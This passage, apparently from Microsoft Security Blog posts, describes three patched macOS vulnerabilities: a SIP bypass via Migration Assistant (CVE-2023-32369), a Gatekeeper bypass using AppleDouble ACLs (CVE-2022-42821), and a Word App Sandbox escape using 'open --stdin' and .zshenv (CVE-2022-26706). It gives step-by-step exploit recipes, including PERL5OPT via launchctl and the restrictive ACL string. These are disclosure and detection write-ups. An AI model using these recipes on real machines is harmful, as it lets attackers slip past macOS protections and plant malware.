  1. Migration Assistant uses a utility called Setup Assistant to help start migration. However, it does so indirectly by using XPC between itself and another process called MBSystemAdministration. It also signs out by invoking a method named SACLOStartLogoutWithOptions.
  2. The MBSystemAdministration utility proxies requests from Migration Assistant to Setup Assistant and also verifies that the caller (Migration Assistant) has the com.apple.private.mbsystemadministration entitlement. Otherwise, it refuses serving migration requests. Additionally, MBSystemAdministration runs as the hidden user _mbsetupuser, which allows migration to perform GUI interactions after sign out.
  3. Setup Assistant gets requests through MBSystemAdministration and performs XPC to several Mach services that are served by the launch daemon systemmigrationd. The systemmigrationd daemon enforces that the caller (Setup Assistant) has the com.apple.private.systemmigration.daemonclient entitlement. Otherwise, it refuses serving migration requests. The systemmigrationd daemon uses the private framework SystemMigration.framework and listens to new migration requests by invoking a method called startListeningForConnections. Interestingly, the daemon examines the contents of the directory /Library/SystemMigration/Queue (which is protected by SIP)—requests appear as files in that directory. Once a file is dropped, systemmigrationd renames the file to “In-Flight” and serves it, including running required scripts, which can cause perl or bash to run.

This complex flow can be illustrated with the following schematic:

Flow diagram of macOS migration
Figure 7. Flow diagram of the macOS migration
Code displaying systemmigrationd listening to incoming connections
Figure 8. systemmigrationd using the private SystemMigration framework to listen to incoming connections

Our first attempt at automating the exploit focused on patching Migration Assistant to prevent user sign-out:

Code displaying SACLOStartLogoutWithOptions
Figure 9. Reverse engineering the Migration Assistant reveals the SACLOStartLogoutWithOptions function,c which signs out

Simply patching Migration Assistant does not work due to codesign failure. Stripping the binary of signing information results in error (Figure 10) due to a kernel feature related to Pointer Authentication Codes (PAC) that’s available for the latest Apple Silicone architecture. If an arm64e binary with pointer authentication is not a code-signed platform binary, the kernel prevents execution, as shown in Figure 9. Extracting, stripping, and patching the x64 portion of the multiarchitecture binary avoids the arm64e issue, but it’s not functional due to losing the required entitlement (com.apple.private.mbsystemadministration).

Code displaying PAC requirements
Figure 10. Pointer Authentication Code requirements
Code displaying the failed patch and run attempt of the Migration Assistant
Figure 11. Attempting to patch and run the Migration Assistant fails

After reaching an impasse with patching Migration Assistant, we wondered if we could initiate later stages in the flow diagram, thus avoiding user sign-out. We continued to map and reverse-engineer the system behavior, including using an in-house researcher tool which leverages the Endpoint Security Framework that logs all relevant process and file events during migration, inspired by Patrick Wardle’s FileMonitor and ProcessMonitor tools for investigating system behaviors.

While mapping the sequence of events for Migration Assistant, MBSystemAdministration, Setup Assistant, and systemmigrationd, we noticed xpcproxy executing Setup Assistant with the argument ‑MiniBuddyYes.

Running Setup Assistant with that argument had no effect on the UI layout or its functionality, but it did highlight the usage of arguments within Setup Assistant. Closely examining Setup Assistant, we discovered other interesting command-line arguments:

Code displaying Setup Assistant's usage of -MiniBuddyYes
Figure 12. Setup Assistant’s usage of -MiniBuddyYes within useDebugParameters

Additionally, we discovered a function called useDebugParameters that parses an interesting command-line parameter ‑MBDebug.

Code displaying Setup Assistant –MBDebug
Figure 13. Setup Assistant –MBDebug

Running the Setup Assistant with the ‑MBDebug parameter results in a successful migration with no sign out. We further used the -ResumeBuddyYes parameter in conjunction with ‑MBDebug to automatically skip a few welcome screens.

Successful migration run without signing out
Figure 14. Running a migration without signing out

Since performing migration requires UI interaction, but no sign-out, we used AppleScript to automate the exploit.

Our final exploit does the following:

  1. Prepares a small 1GB Time Machine backup and attaches it with hdiutil.
  2. Prepares an arbitrary payload that is designed to run without SIP filesystem restrictions.
  3. Sets the environment variable PERL5OPT using launchctl to run the payload once perl starts.
  4. Runs Setup Assistant with the -MBDebug and -ResumeBuddyYes command-line flags.
  5. Uses AppleScript to automate the Setup Assistant screens to migrate “From a Mac, Time Machine backup or Startup disk”, followed by automatically clicking “continue”.

Implications of arbitrary SIP bypasses

The implications of arbitrary SIP bypasses are serious, as the potential for malware authors is significant. Code that maliciously bypasses SIP could have considerable consequences, such as:

  1. Create undeletable malware: The most straight-forward implication of a SIP bypass is that, by assigning files with the com.apple.rootless extended attribute (or overriding existing ones), an attacker can create files that are protected by SIP and therefore undeletable by ordinary means. This is quite important for security solutions, such as Microsoft Defender for Endpoint, that are required to quarantine malware but cannot quarantine files protected by SIP.
  2. Expand the attack surface for userland and kernel attacker techniques: As pointed out by Mickey Jin’s blog post on a different SIP bypass, it’s possible for attackers to gain arbitrary kernel code execution. As Apple slowly disallows third party kernel extensions and transitions the Mac ecosystem towards their Endpoint Security framework, security solutions will no longer be able to monitor the kernel for malicious activity, including malicious code executions.
  3. Tamper with the integrity of the system, effectively enabling rootkits: This is a derivation of arbitrary kernel code execution—once kernel code execution is established by an attacker, certain rootkit techniques are possible, such as hiding processes or files from all monitoring tools. These techniques might also include bypassing tamper protection, which is important for Microsoft Defender for Endpoint to protect against threats.
  4. Full TCC bypass: As pointed out by Mickey Jin’s blog post on a different SIP bypass, attackers could replace databases that control Transparency, Consent, and Control (TCC) policies (TCC.db), effectively granting arbitrary applications access to private data and peripherals. For further explanation about the implications, we’ve demonstrated a TCC bypass in the past called “Powerdir”.

Hardening device security through collaboration and research-driven protection

Attackers continue to seek new footholds into increasingly secure devices and networks, oftentimes by leveraging unpatched vulnerabilities and misconfigurations to access valuable systems and data. Gaining the ability to bypass SIP and similar security technology in macOS devices can be an attractive and even necessary capability for adversaries. Given SIP’s position as both a device’s built-in baseline protection and the last line of defense against malware and other threats, bypassing SIP can have considerable consequences for users. As such, it’s crucial that we strive to enrich our protection technologies across platforms against such issues through research-driven protection and collaboration with partners, customers, and industry experts.

This case displays how collaborative research and responsible vulnerability disclosure informs our comprehensive protection capabilities across platforms to provide organizations a complete picture of their security posture. Microsoft Defender Vulnerability Management quickly discovers and remediates such vulnerabilities while Microsoft Defender for Endpoint detects and alerts on anomalous device activities, including setting perl and bash environment variables through the launchctl utility, as shown below in Figure 15. Additionally, Defender for Endpoint has similar detections for sensitive file access, including system launch daemons, various sensitive configuration files, and many more.

Microsoft Defender for Endpoint detecting the PERL5OPT environment variable being suspiciously set
Figure 15. Microsoft Defender for Endpoint detecting the PERL5OPT environment variable being suspiciously set

This case further emphasizes the need for responsible vulnerability disclosures and expert cross-platform collaboration to mitigate issues such as CVE-2023-32369, regardless of the vulnerable device or platform in use. We wish to thank the Apple product security team again for their efforts and responsiveness in addressing the issue.

Defending against the evolving threat landscape requires the ability to protect and secure users’ computing experiences, whatever the platform. As cross-platform threats continue to grow, we will continue to share vulnerability discoveries and threat intelligence in addition to working with the security community to improve upon solutions that protect users and organizations each day.

Jonathan Bar Or, Michael Pearse, Anurag Bohra

Microsoft Threat Intelligence Community

References   

The post New macOS vulnerability, Migraine, could bypass System Integrity Protection appeared first on Microsoft Security Blog.

]]>
Gatekeeper’s Achilles heel: Unearthing a macOS vulnerability http://approjects.co.za/?big=en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/ Mon, 19 Dec 2022 18:00:00 +0000 http://approjects.co.za/?big=en-us/security/blog/?p=125347 Microsoft discovered a vulnerability in macOS, referred to as “Achilles”, allowing attackers to bypass application execution restrictions enforced by the Gatekeeper security mechanism.

The post Gatekeeper’s Achilles heel: Unearthing a macOS vulnerability appeared first on Microsoft Security Blog.

]]>
On July 27, 2022, Microsoft discovered a vulnerability in macOS that can allow attackers to bypass application execution restrictions imposed by Apple’s Gatekeeper security mechanism, designed to ensure only trusted apps run on Mac devices. We developed a proof-of-concept exploit to demonstrate the vulnerability, which we call “Achilles”. Gatekeeper bypasses such as this could be leveraged as a vector for initial access by malware and other threats and could help increase the success rate of malicious campaigns and attacks on macOS.

After carefully reviewing the implications, we shared the vulnerability with Apple in July 2022 through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR). Fixes for the vulnerability, now identified as CVE-2022-42821, were quickly released by Apple to all their OS versions. We note that Apple’s Lockdown Mode, introduced in macOS Ventura as an optional protection feature for high-risk users that might be personally targeted by a sophisticated cyberattack, is aimed to stop zero-click remote code execution exploits, and therefore does not defend against Achilles. End-users should apply the fix regardless of their Lockdown Mode status. We thank Apple for the collaboration in addressing this issue.

In this blog post, we share information about Gatekeeper and the vulnerability able to bypass it. We also share this research to emphasize the importance of collaboration among researchers and the security community to improve defenses for the larger ecosystem.

Unlocking the Gatekeeper security mechanism

Many macOS infections are the result of users running malware, oftentimes inadvertently. Fake app bundles might masquerade themselves as different apps, like Flash Player, or as a legitimate file, such as using a PDF icon and using the app name “Resume”. To combat this highly popular infection vector, Apple has imposed strong security mechanisms. When downloading apps from a browser, like Safari, the browser assigns a special extended attribute to the downloaded file. That attribute is named com.apple.quarantine and is later used to enforce policies such as Gatekeeper or certain mitigations that prevent sandbox escapes. In recent years, Apple has tightened the security policies even further, and the current Gatekeeper design dictates the following behavior for downloaded apps:

  1. If the app is validly signed and notarized, meaning approved by Apple, then a prompt requires the user’s consent before its launched.
  2. Otherwise, the user is informed that the app cannot be run as it’s untrusted.

Extended attributes are a filesystem feature supported on common macOS filesystems, like APFS and HFS+, and their main purpose is to save file metadata. Specifically, the com.apple.quarantine attribute saves information regarding the source of the downloaded file, as well as data instructing Gatekeeper how to process the file. The attribute format is generally:

flag;date;agent_name;UUID

Extended attributes can be viewed or modified with the xattr command line utility.

A flag value of “0083” enforces Gatekeeper restrictions on the file, as displayed below:

Graphical user interface; text
Figure 1. A common com.apple.quarantine extended attribute value
Graphical user interface; text
Figure 2. Gatekeeper blocking an untrusted downloaded file

Due to its essential role in stopping malware on macOS, Gatekeeper is a helpful and effective security feature. However, considering there have been numerous bypass techniques targeting the security feature in the past, Gatekeeper is not bulletproof. Gaining the ability to bypass Gatekeeper has dire implications as sometimes malware authors leverage those techniques for initial access.

Historical overview of Gatekeeper bypasses

Numerous Gatekeeper bypasses have been identified in the past years, some even abused by malware families such as Shlayer. When examining Gatekeeper bypasses from recent years, we see two approaches:

  1. Misuse the com.apple.quarantine extended attribute assignment.
  2. Find a vulnerability in the components that enforce policy checks on quarantined files.

Two cases that we don’t consider to constitute a “true” Gatekeeper bypass are:

  1. Using unsupported filesystems, like a USB mass storage device using FAT32, as these require non-trivial user interaction to run macOS applications.
  2. MITRE’s definition of “Gatekeeper Bypass” (T1553.001), which requires code execution to forcefully modify or remove the com.apple.quarantine extended attribute.

Here are some examples of Gatekeeper bypass vulnerabilities discovered over the last several years:

VulnerabilityExploitsDescription
CVE-2022-22616Assignment of the quarantine attribute.Gzip files archived in BOM archives are not assigned with the quarantine extended attribute, further detailed here.
CVE-2021-1810Assignment of the quarantine attribute.Paths longer than 886 characters were not assigned with extended attributes. Therefore, creating a symbolic link that points to an app that resides in a long path results in a Gatekeeper bypass. Since symbolic links are not assigned with the quarantine attribute, it was possible to completely bypass Gatekeeper, as outlined here.
CVE-2021-30657Component(s) that enforce policy checks.App bundles with a missing Info.plist and a shell script main executable component are treated incorrectly by syspolicyd, a component that enforces policy restrictions on apps. Writeups can be found here and here.
CVE-2021-30853Component(s) that enforce policy checks.A security bug in the way files with a “Shebang” (#!) header are interpreted by syspolicyd cause it to consider the app bundle to be safe, as detailed here.
CVE-2019-8656Assignment of the quarantine attribute.Since symbolic links are not assigned with the quarantine extended attribute, an archive that contains a symbolic link to an app that resides in an external filesystem (NFS) results in a Gatekeeper bypass. Apple fixed the issue by blocking the execution of applications from remote shared locations, documented here.
CVE-2014-8826Component(s) that enforce policy checks.Quarantine attributes are not checked for JAR files, which are run by Java, as summarized here.

Metadata persistence over AppleDouble

Intrigued by CVE-2021-1810, as listed in the above table, we wondered what mechanism could be leveraged in archives. Considering symbolic links are preserved in archives and aren’t assigned with quarantine attributes—we looked for a mechanism that could persist different kinds of metadata over archives.

After some investigation, we discovered a way to persist important file metadata through a mechanism called AppleDouble.

Even though extended attributes are common on different filesystems, they might be implemented differently or even not supported, so copying files with their metadata becomes a challenging task. To solve this problem, back in 1994, Apple introduced the concept of AppleSingle and AppleDouble formats. In a nutshell, AppleSingle is a binary blob that is added as a part of the original file contents so that there’s only a “single” file to process, whereas AppleDouble saves the metadata in a different file side-by-side next to the original file, with a “._” prefix.

Interestingly, when extracting an archive, macOS processes any attached AppleDouble file and assigns the target file with the appropriate metadata.

The AppleDouble binary file format is quite complicated, but the code that parses it can be read in the XNU git repository in the file that handles extended attributes, which also includes ASCII-art depiction of the format. To demonstrate the AppleDouble file information, we used the ditto utility as such:

Graphical user interface; text
Figure 3. AppleDouble file created as “._somefile”

When the file is archived alongside its original file and then extracted by macOS, extended attributes are fully restored, as demonstrated here:

Graphical user interface; text
Figure 4. Using AppleDouble in a zip file to preserve extended attributes

Using this newfound knowledge, we examined how we could use the AppleDouble mechanism to trick Gatekeeper in some way.

Our first approach was to generate many large extended attributes in the AppleDouble format such that there won’t be enough space to assign the com.apple.quarantine extended attribute. Interestingly, it doesn’t work—AppleDouble is ignored if the overall size is over 2 GB, and there is no limitation on the number of extended attributes a file could get (besides the size of the disk).

Researching further, we decided to examine the source code of the unarchiving mechanism. Carefully studying the copyfile_unpack implementation, we discovered an option for a special extended attribute named com.apple.acl.text (saved in the XATTR_SECURITY_NAME constant in the source code), which is used to set arbitrary Access Control Lists.

Graphical user interface; text
Figure 5. The code that allows setting arbitrary Access Control Lists

Using ACLs for exploitation

Access Control Lists (ACLs) are a mechanism in macOS that further extends the traditional permission model. The traditional permission model saves permission for each file in a file “mode”, which can be changed by using the chmod utility. It enforces permissions on the owning user, owning group, and others in terms of reading (r), writing (w) and launching (x). A file’s mode can be viewed by listing files with the “-l” (long) flag:

Graphical user interface; text
Figure 6. Viewing the “hello.sh” file mode, the owner can do anything while others can only read or launch it

Unlike the traditional permission mechanism, ACLs allow fine-grained permissions to files and directories. Each ACL has one or more Access Control Entries (ACEs) that dictate what each principal can or cannot do, much like firewall rules. Like the file mode, ACLs can be modified with the chmod utility and viewed with the ls utility. It’s important to note that file access checks are dictated by both ACLs and the traditional permission model mechanisms, as demonstrated by the following example:

Graphical user interface; text
Figure 7. Denying file reads from everyone makes it impossible to read the file despite its mode

The set of authorizations supported by ACLs is well-documented by Apple in the chmod manual, which contain more than the traditional reading, writing, or launching abilities, including:

  • writeattr: controls the ability to write attributes to the file
  • writeextattr: controls the ability to write extended attributes to the file
  • writesecurity: controls the ability to set ACLs to the file
  • chown: controls the ability to set the owner of the file
  • delete: controls the ability to delete the file

Equipped with this information, we decided to add very restrictive ACLs to the downloaded files. Those ACLs prohibit Safari (or any other program) from setting new extended attributes, including the com.apple.quarantine attribute.

Two minor challenges that we had to overcome during the proof-of-concept (POC) development were:

  • The format of the ACL text as saved in the AppleDouble file isn’t identical to the format of the chmod command line. This can easily be overcome by invoking the macOS acl_to_text API and saving the ACL with the correct format.
  • When using the ditto utility, the com.apple.acl.text extended attribute is lost in the resulting AppleDouble file. This can be overcome by either manually creating the binary AppleDouble or, as we chose in this case, simply patching the resulting AppleDouble file before archiving it.

Therefore, our POC is as follows:

  1. Create a fake directory structure with an arbitrary icon and payload.
  2. Create an AppleDouble file with the com.apple.acl.text extended attribute key and a value that represents a restrictive ACL (we chose the equivalent of “everyone deny write,writeattr,writeextattr,writesecurity,chown”). Perform the correct AppleDouble patching if using ditto to generate the AppleDouble file.
  3. Create an archive with the application alongside its AppleDouble file and host it on a web server.

We named our POC exploit Achilles after its use of ACLs to bypass Gatekeeper. Our POC recorded video can be viewed here:

The AppleDouble file we used for this Gatekeeper bypass can be generated, as displayed below:

Graphical user interface; text
Figure 8. Generic AppleDouble file that can be used for any Gatekeeper bypass

Improving security for all through research and threat intelligence sharing

The threat landscape continues to evolve, delivering new threats and attack capabilities that take advantage of unpatched vulnerabilities and misconfigurations as a vector to access systems and data. Our data shows that fake apps remain one of the top entry vectors on macOS, indicating Gatekeeper bypass techniques are an attractive and even a necessary capability for adversaries to leverage in attacks. Nonetheless, through research-driven protections and collaboration with customers, partners, and industry experts, we strive to enrich our protection technologies to defend against such issues—regardless of the platform or device in use.

As environments continue to rely on a diverse range of devices and operating systems, organizations need security solutions that can provide protection across platforms and a complete picture of their security posture. Collaborative research such as this informs our comprehensive protection capabilities across platforms, allowing Microsoft Defender for Endpoint to deliver and coordinate threat defense across all major OS platforms including Windows, macOS, Linux, Android, and iOS. On macOS devices, Microsoft Defender for Endpoint detects and exposes threats and vulnerabilities, including CVE-2022-42821, using antivirus, endpoint detection and response (EDR), and threat and vulnerability management capabilities. This research also improved Microsoft Defender’s Vulnerability Management capabilities to discover, prioritize, and remediate misconfigurations and vulnerabilities. This includes detecting CVE-2022-42821 on macOS devices by examining AppleDouble files misusing ACLs.

This case also emphasized the need for responsible vulnerability disclosures and expert, cross-platform collaboration to effectively mitigate issues, protecting users against present and future threats. We wish to again thank the Apple product security team for their efforts and responsiveness in addressing the issue.

Microsoft Defender for Endpoint detecting and preventing an AppleDouble file
Figure 9. Detection by Microsoft Defender for Endpoint

Our Microsoft security researchers continue to discover new threats and vulnerabilities as part of our effort to secure users’ computing experiences, be it a Windows or non-Windows device. In the effort to improve security for all, we will continue to share intelligence and work with the security community to create and improve upon solutions that protect users and organizations across platforms every single day.

Jonathan Bar Or

Microsoft 365 Defender Research Team

The post Gatekeeper’s Achilles heel: Unearthing a macOS vulnerability appeared first on Microsoft Security Blog.

]]>
Uncovering a macOS App Sandbox escape vulnerability: A deep dive into CVE-2022-26706 http://approjects.co.za/?big=en-us/security/blog/2022/07/13/uncovering-a-macos-app-sandbox-escape-vulnerability-a-deep-dive-into-cve-2022-26706/ Wed, 13 Jul 2022 16:00:00 +0000 http://approjects.co.za/?big=en-us/security/blog/?p=117881 Microsoft uncovered a vulnerability in macOS that could allow specially crafted codes to escape the App Sandbox and run unrestricted on the system. We shared these findings with Apple, and fix for this vulnerability, now identified as CVE-2022-26706, was included in the security updates on May 16, 2022.

The post Uncovering a macOS App Sandbox escape vulnerability: A deep dive into CVE-2022-26706 appeared first on Microsoft Security Blog.

]]>
Microsoft uncovered a vulnerability in macOS that could allow specially crafted codes to escape the App Sandbox and run unrestricted on the system. We shared these findings with Apple through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR) in October 2021. A fix for this vulnerability, now identified as CVE-2022-26706, was included in the security updates released by Apple on May 16, 2022. Microsoft shares the vulnerability disclosure credit with another researcher, Arsenii Kostromin (0x3c3e), who discovered a similar technique independently.

We encourage macOS users to install these security updates as soon as possible. We also want to thank the Apple product security team for their responsiveness in fixing this issue.

The App Sandbox is Apple’s access control technology that application developers must adopt to distribute their apps through the Mac App Store. Essentially, an app’s processes are enforced with customizable rules, such as the ability to read or write specific files. The App Sandbox also restricts the processes’ access to system resources and user data to minimize the impact or damage if the app becomes compromised. However, we found that specially crafted codes could bypass these rules. An attacker could take advantage of this sandbox escape vulnerability to gain elevated privileges on the affected device or execute malicious commands like installing additional payloads.

We found the vulnerability while researching potential ways to run and detect malicious macros in Microsoft Office on macOS. For backward compatibility, Microsoft Word can read or write files with an “~$” prefix. Our findings revealed that it was possible to escape the sandbox by leveraging macOS’s Launch Services to run an open –stdin command on a specially crafted Python file with the said prefix.

Our research shows that even the built-in, baseline security features in macOS could still be bypassed, potentially compromising system and user data. Therefore, collaboration between vulnerability researchers, software vendors, and the larger security community remains crucial to helping secure the overall user experience. This includes responsibly disclosing vulnerabilities to vendors.

In addition, insights from this case study not only enhance our protection technologies, such as Microsoft Defender for Endpoint, but they also help strengthen the security strategies of software vendors and the computing landscape at large. This blog post thus provides details of our research and overviews of similar sandbox escape vulnerabilities reported by other security researchers that helped enrich our analysis.

How macOS App Sandbox works

In a nutshell, macOS apps can specify sandbox rules for the operating system to enforce on themselves. The App Sandbox restricts system calls to an allowed subset, and the said system calls can be allowed or disallowed based on files, objects, and arguments. Simply put, the sandbox rules are a defense-in-depth mechanism that dictates the kind of operations an application can or can’t do, regardless of the type of user running it. Examples of such operations include:

  • the kind of files an application can or can’t read or write;
  • whether the application can access specific resources such as the camera or the microphone, and;
  • whether the application is allowed to perform inbound or outbound network connections.
Diagram comparing how user data and system resources access an app without and with App Sandbox. 

Without App Sandbox, all user data and system resources will have unrestricted access to the app.

With App Sandbox, only the data and resources confined within the said sandbox will have unrestricted access to the app. All other user data and resources won't have access.
Figure 1. Illustration of a sandboxed app, from the App Sandbox documentation (photo credit: Apple)

Therefore, the App Sandbox is a useful tool for all macOS developers in providing baseline security for their applications, especially for those that have large attack surfaces and run user-provided code. One example of these applications is Microsoft Office.

Sandboxing Microsoft Office in macOS

Attackers have targeted Microsoft Office in their attempts to gain a foothold on devices and networks. One of their techniques is abusing Office macros, which they use in social engineering attacks to trick users into downloading malware and other payloads.

On Windows systems, Microsoft Defender Application Guard for Office helps secure Microsoft Office against such macro abuse by isolating the host environment using Hyper-V. With this feature enabled, an attacker must first be equipped with a Hyper-V guest-to-host vulnerability to affect the host system—a very high bar compared to simply running a macro. Without a similar isolation technology and default setting on macOS, Office must rely on the operating system’s existing mitigation strategies. Currently, the most promising technology is the macOS App Sandbox.

Viewing the Microsoft sandbox rules is quite straightforward with the codesign utility. Figure 2 below shows the truncated sandbox rules for Microsoft Word:

Partial screenshot of a command line interface showing different keys and values related to the App Sandbox rules for Microsoft Word in macOS.
Figure 2. Viewing the Microsoft Word sandbox rules with the codesign utility

One of the rules dictates the kind of files the application is allowed to read or write. As seen in the screenshot of the syntax below, Word is allowed to read or write files with filenames that start with the “~$” prefix. The reason for this rule is rooted in the way Office works internally and remains intact for backward compatibility.

Partial screenshot of a command line interface showing the read/write App Sandbox rule for Microsoft Word in macOS.
Figure 3. File read and write sandbox rule for Microsoft Word

Despite the security restrictions imposed by the App Sandbox’s rules on applications, it’s possible for attackers to bypass the said rules and let malicious codes “escape” the sandbox and execute arbitrary commands on an affected device. These codes could be hidden in a specially crafted Word macro, which, as mentioned earlier, is one of the attackers’ preferred entry points.

Previously reported Office-specific sandbox escape vulnerability

For example, in 2018, MDSec reported a vulnerability in Microsoft Office on macOS that could allow an attacker to bypass the App Sandbox. As explained in their blog post, MDSec’s proof-of-concept (POC) exploit took advantage of the fact that Word could drop files with arbitrary contents to arbitrary directories (even after passing traditional permission checks), as long as these files’ filenames began with a “~$” prefix. This bypass was relatively straightforward: have a specially crafted macro drop a .plist file in the user’s LaunchAgents directory.

The LaunchAgents directory is a well-known persistence mechanism in macOS. PLIST files that adhere to a specific structure describe (that is, contain the metadata of) macOS launch agents initiated by the launchd process when a user signs in. Since these launch agents will be the children of launchd, they won’t inherit the sandbox rules enforced onto Word, and therefore will be out of the Office sandbox.

Shortly after the above vulnerability was reported, Microsoft deployed a fix that denied file writes to the LaunchAgents directory and other folders with similar implications. The said disclosure also prompted us to look into different possible sandbox escapes in Microsoft Word and other applications.

Exploring Launch Services as means of escaping the sandbox

In 2020, several blog posts described a generic sandbox escape vulnerability in macOS’s /usr/bin/open utility, a command commonly used to launch files, folders, and applications just as if a user double-clicked them. While open is a handy command, it doesn’t create child processes on its own. Instead, it performs an inter-process communication (IPC) with the macOS Launch Services, whose logic is implemented in the context of the launchd process. Launch Services then performs the heavy lifting by resolving the handler and launching the right app. Since launchd creates the process, it’s not restricted by the caller’s sandbox, similar to how MDSec’s POC exploit worked in 2018.

However, using open for sandbox escape purposes isn’t trivial because the destination app must be registered within Launch Services. This means that, for example, one couldn’t run files like osascript outside the sandbox using open. Our internal offensive security team therefore decided to reassess the open utility for sandbox escape purposes and use it in a larger end-to-end attack simulation.

Our obvious first attempt in creating a POC exploit was to create a macro that launches a shell script with the Terminal app. Surprisingly, the POC didn’t work because files dropped from within the sandboxed Word app were automatically given the extended attribute com.apple.quarantine (the same one used by Safari to keep track of internet-downloaded files, as well as by Gatekeeper to block malicious files from executing), and Terminal simply refused to run files with that attribute. We also tried using Python scripts, but the Python app had similar issues running files having the said attribute.

Our second attempt was to use application extensibility features. For example, Terminal would run the default macOS shell (zsh), which would then run arbitrary commands from files like ~/.zshenv before running its own command line. This meant that dropping a .zshenv file in the user’s home directory and launching the Terminal app would cause the sandbox escape. However, due to Word’s sandbox rules, dropping a .zshenv file wasn’t straightforward, as the rules only allowed an application to write to files that begin with the “~$” prefix.

However, there is an interesting way of writing such a file indirectly. macOS was shipped with an application called Archive Utility responsible of extracting archive files (such as ZIP files). Such archives were extracted without any user interaction, and the files inside an archive were extracted in the same directory as the archive itself. Therefore, our second POC worked as follows:

  1. Prepare the payload by creating a .zshenv file with arbitrary commands and placing it in a ZIPfile. Encode the ZIPfile contents in a Word macro and drop those contents into a file “~$exploit.zip” in the user’s home directory.
  2. Launch Archive Utility with the open command on the “~$exploit.zip” file. Archive Utility ran outside the sandbox (since it’s the child process of /usr/bin/open) and was therefore permitted to create files with arbitrary names. By default, Archive Utility extracted the files next to the archive itself—in our case, the user’s home directory. Therefore, this step successfully created a .zshenv file with arbitrary contents in the user’s home directory.
  3. Launch the Terminal app with the open command. Since Terminal hosted zsh and zsh ran commands from the .zshenv file, the said file could escape the Word sandbox successfully.
Screenshot of a command line interface showing proof-of-concept exploit code.
Figure 4. Preparing a Word macro with our sandbox escape for an internal Red Team operation

Perception Point’s CVE-2021-30864

In October 2021, Perception Point published a blog post that discussed a similar finding (and more elegant, in our opinion). In the said post, Perception Point released details about their sandbox escape (now identified as CVE-2021-30864), which used the following facts:

  1. Every sandboxed process had its own container directory that’s used as a “scratch space.” The sandboxed process could write arbitrary files, including arbitrary filenames, to that directory unrestricted.
  2. The open command had an interesting –env option that could set or override arbitrary environment variables for the launched app.

Therefore, Perception Point’s POC exploit was cleverly simple:

  1. Drop a .zshenv file in the container directory. This was allowed because sandbox rules weren’t enforced on that directory.
  2. Launch Terminal with the open command but use the –env option to override the HOME environment variable to point to the container directory. This made zsh consider the user’s home directory to be the container directory, and run commands from the planted .zshenv file.

Apple has since patched the vulnerability Perception Point reported in the latest version of macOS, Monterey. While we could still create the “~$exploit.zip” file in the user’s home directory, using open to launch the Archive Utility on the ZIP file now resulted in it being extracted to the Downloads folder. While this is an interesting behavior, we could no longer use it for sandbox escape purposes.

Final exploit attempt: Revisiting the ‘open’ command

After discovering that Apple has fixed both variants that abuse .zshenv, , we decided to examine all the command line options of the open command. Soon after, we came across the following:

Screenshot of a command line interface with the following text:

--stdin PATH
       Launches the application with stdin connected to PATH.
Figure 5. The –stdin option in the open utility as presented by its manual entry

As mentioned earlier, we couldn’t run Python with a dropped .py file since Python refuses to run files with the “com.apple.quarantine” extended attribute. We also considered abusing the PYTHONSTARTUP environment variable, but Apple’s fix to CVE-2021-30864 apparently prevented that option, too. However, –stdin bypassed the “com.apple.quarantine” extended attribute restriction, as there was no way for Python to know that the contents from its standard input originated from a quarantined file.

Our POC exploit thus became simply as follows:

  1. Drop a “~$exploit.py” file with arbitrary Python commands.
  2. Run open –stdin=’~$exploit.py’ -a Python, which runs the Python app with our dropped file serving as its standard input. Python happily runs our code, and since it’s a child process of launchd, it isn’t bound to Word’s sandbox rules.
Screenshot of a proof-of-concept exploit code.
Figure 6. Sample minimal POC exploit code

We also came up with a version that’s short enough to be a Twitter post:

Screenshot of a proof-of-concept exploit code.
Figure 7. “Tweetable” POC exploit

Detecting App Sandbox escapes with Microsoft Defender for Endpoint

Since our initial discovery of leveraging Launch Services in macOS for generic sandbox escapes, we have been using our POC exploits in Red Team operations to emulate end-to-end attacks against Microsoft Defender for Endpoint, improve its capabilities, and challenge our detections. Shortly after our Red Team used our first POC exploit, our Blue Team members used it to train artificial intelligence (AI) models to detect our exploit not only in Microsoft Office but also on any app used for a similar Launch Services-based sandbox escape.

After we learned of Perception Point’s technique and created our own new exploit technique (the Python POC), our Red Team saw another opportunity to fully test our own detection durability. Indeed, the same set of detection rules that handled our first sandbox escape vulnerability still turned out to be durable—even before the vulnerability related to our second POC exploit was patched.

Partial screenshot of Microsoft Defender for Endpoint detecting an Office sandbox escape vulnerability. 

The left panel shows the Alert Story with timestamps. The right panel shows the Alert details, including category, MITRE ATT&CK techniques, detection source, service source, detection status, and other information.
Figure 8. Microsoft Defender for Endpoint detecting Office sandbox escape

For Defender for Endpoint customers, such detection durability feeds into the product’s threat and vulnerability management capabilities, which allows them to quickly discover, prioritize, and remediate misconfigurations and vulnerabilities—including those affecting non-Windows devices—through a unified security console.

Learn how Microsoft Defender for Endpoint delivers a complete endpoint security solution across all platforms.

Jonathan Bar Or
Microsoft 365 Defender Research Team

The post Uncovering a macOS App Sandbox escape vulnerability: A deep dive into CVE-2022-26706 appeared first on Microsoft Security Blog.

]]>